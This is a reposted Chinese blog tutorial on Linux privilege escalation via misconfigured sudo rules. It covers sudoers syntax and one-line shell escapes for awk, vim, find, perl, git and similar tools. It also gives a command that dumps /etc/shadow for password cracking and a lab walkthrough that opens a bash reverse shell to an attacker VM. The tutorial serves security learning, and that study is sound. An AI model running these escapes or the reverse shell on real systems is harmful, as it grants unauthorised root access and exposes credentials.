首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[权限提升] Linux 提权 & 维持 — 系统错误配置提权 - Sudo 滥用提权

  • 25-02-20 14:41
  • 2426
  • 9117
blog.csdn.net

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Sudo 滥用提权原理

Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时间,同时也提高了系统安全性。

在一些应用场景中,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些 SUDO 权限给运维账号,而 SUDO 权限的授予则是在 /etc/sudoers 文件中进行操作。

0x0101:Sudo 基础 — Sudo 权限的授予

授予 Sudo 权限是在 /etc/sudoers 文件中以特定格式编辑规则授予的,所以我们需要先来了解一下编辑的规则:

  1.  username ALL=(ALL) NOPASSWD: /usr/bin/awk
  2.  ​
  3.  # username => 被授予 Sudo 权限的用户
  4.  # ALL=     => 表示允许从任何终端访问 sudo
  5.  # (ALL)   => 运行身份,ALL 表示可以以任意身份执行命令,不仅仅是 root 哦,不过默认是 root
  6.  # NOPASSWD: => 可选,添加上了表示执行后面的命令不需要密码
  7.  # /usr/bin/awk => 表示可以被 sudo 运行的命令

下面是一些常见的 Sudo 权限授予的示例:

  1.  # 允许用户 alice 以任意身份(默认 root)运行所有的命令(需要密码)
  2.  alice ALL=(ALL) ALL
  3.  ​
  4.  # 允许用户组 wheel 中的用户以任意身份运行所有命令
  5.  %wheel ALL=(ALL) ALL
  6.  ​
  7.  # 允许用户 bob 以 root 身份运行特定命令
  8.  bob ALL=(ALL) /usr/bin/vi, /usr/bin/ls
  9.  ​
  10.  # 允许用户 bob 以 www-data 身份运行特定命令,不需要密码
  11.  bob ALL=(www-data) NOPASSWD: /usr/bin/awk

0x0102:Sudo 基础 — 查看当前用户可以用 Sudo 执行的命令

可以使用下面两条命令中的任意一条查看当前用户可以用 Sudo 执行的命令:

  1.  cat /etc/sudoers # 这个需要权限,我们一般查看不了
  2.  sudo -l          # 这个命令有时候不用密码也能运行

不过呢,可惜的是,这两条命令都需要一定的权限或者知道当前用户的密码:

不过笔者测试了一下,sudo -l 这个命令好像被授予了 Sudo 权限的用户执行是可以直接查看内容的,不用输入密码,上面的 defender 用户笔者在测试时是没有授予任何 Sudo 权限的:

0x02:Sudo 滥用提权姿势

Sudo 提权的原理与之前讲解的 [[Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权|SUID 文件提权]] 有异曲同工之妙,都是结合权限与命令的特性进行提权。下面是笔者收集的一些可以进行 Sudo 提权的命令,如果 Sudo 配置文件中配置了 ALL 或者以下命令就可以进行提权:

 apt、awk、bash、cat、ed、env、ftp、find、git、less、man、perl、pip、scp、screen、sed、tar、taskset、time、tmux、vi、vim、wget、xxd、zip

0x0201:awk — Sudo 提权姿势

 sudo awk 'BEGIN {system("/bin/sh")}'

0x0202:vim — Sudo 提权姿势

 sudo vim -c '!sh'

0x0203:xxd — Sudo 提权姿势

xxd 命令有些特殊,无法直接拿到一个 Root 权限的 Shell,但是可以查看 shadow 文件,然后通过爆破拿到 Root 密码后进行提权:

 sudo xxd "/etc/shadow" | xxd -r

0x0204:env — Sudo 提权姿势

 sudo env /bin/sh

0x0205:perl — Sudo 提权姿势

sudo perl -e 'exec "/bin/sh";'

0x0206:zip — Sudo 提权姿势

sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"

0x0207:sed — Sudo 提权姿势

sudo sed -n '1e exec sh 1>&0' /etc/passwd

0x0208:find — Sudo 提权姿势

sudo find /etc/passwd -exec /bin/sh \;

0x0209:git — Sudo 提权姿势

1. git — Sudo 提权环境配置

首先以 Root 身份登录 Linux 系统中,编辑 /etc/sudoers 文件,添加下面这行内容,为 test01 用户赋予 git 的无密码运行 Sudo 权限(需要用 :wq! 退出编辑):

test01  ALL=(ALL)       NOPASSWD: /usr/bin/git

2. git — Sudo 提权姿势教程

git 的 Sudo 提权比较特别,需要使用两条命令(后面还有几条命令用法与 git 是一样的)。切换到 test01 用户,输入下面的命令:

sudo git help config

然后键盘再输入下面的命令进行提权:

!/bin/sh

0x0210:ftp — Sudo 提权姿势

ftp 命令的提权方式与前面介绍的 git 类似,也是两条命令:

  1. sudo ftp
  2. !/bin/sh

0x0211:less — Sudo 提权姿势

less 命令的提权方式与前面介绍的 git 类似,也是两条命令:

  1. sudo less /etc/hosts
  2. !sh

0x0212:ed — Sudo 提权姿势

ed 命令的提权方式与前面介绍的 git 类似,也是两条命令:

  1. sudo ed
  2. !/bin/sh

0x0213:man — Sudo 提权姿势

man 命令的提权方式与前面介绍的 git 类似,也是两条命令:

  1. sudo man man
  2. !/bin/sh

0x03:Sudo 滥用提权实战

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看当前用户可以执行 Sudo 的命令

输入下面的命令查看当前用户可以使用 Sudo 执行的命令:

sudo -l

如上,发现 Vim 可以使用 Sudo 执行,且不需要输入密码。

0x0303:Sudo 提权

使用前面介绍的对应命令的 Sudo 提权姿势进行提权:

sudo vim -c '!sh'

Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145521903"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top